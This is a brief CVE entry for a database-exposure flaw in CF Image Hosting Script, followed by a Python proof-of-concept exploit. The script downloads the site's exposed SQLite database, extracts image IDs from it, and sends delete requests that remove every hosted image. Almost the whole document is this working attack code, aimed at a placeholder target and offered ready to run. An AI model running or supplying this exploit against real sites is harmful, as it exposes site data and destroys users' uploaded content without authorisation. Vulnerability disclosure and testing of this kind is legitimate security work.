CVE-2019-25709 CF Image Hosting Script数据库泄露漏洞

import requests import sqlite3 import os def exploit(target_url): # Step 1: Download the database file db_url = f"{target_url}/upload/data/imgdb.db" print(f"[*] Attempting to download database from {db_url}...") try: response = requests.get(db_url) if response.status_code == 200: print("[+] Database downloaded successfully.") db_file = "imgdb.db" with open(db_file, 'wb') as f: f.write(response.content) else: print("[-] Failed to download database.") return except Exception as e: print(f"[-] Error during download: {e}") return # Step 2: Parse database and extract delete IDs print("[*] Parsing database to extract delete IDs...") delete_ids = [] try: conn = sqlite3.connect(db_file) cursor = conn.cursor() # Adjust table/column names based on actual database schema cursor.execute("SELECT rowid FROM images") rows = cursor.fetchall() for row in rows: delete_ids.append(row[0]) conn.close() except Exception as e: print(f"[-] Error parsing database: {e}") if os.path.exists(db_file): os.remove(db_file) return print(f"[+] Found {len(delete_ids)} delete IDs.") # Step 3: Delete images using extracted IDs print("[*] Sending delete requests...") for delete_id in delete_ids: delete_url = f"{target_url}/index.php?d={delete_id}" # Sending request to delete the image requests.get(delete_url) print(f"[+] Sent delete request for ID: {delete_id}") # Cleanup if os.path.exists(db_file): os.remove(db_file) print("[*] Exploitation completed.") if __name__ == "__main__": target = "http://example.com" # Replace with actual target exploit(target)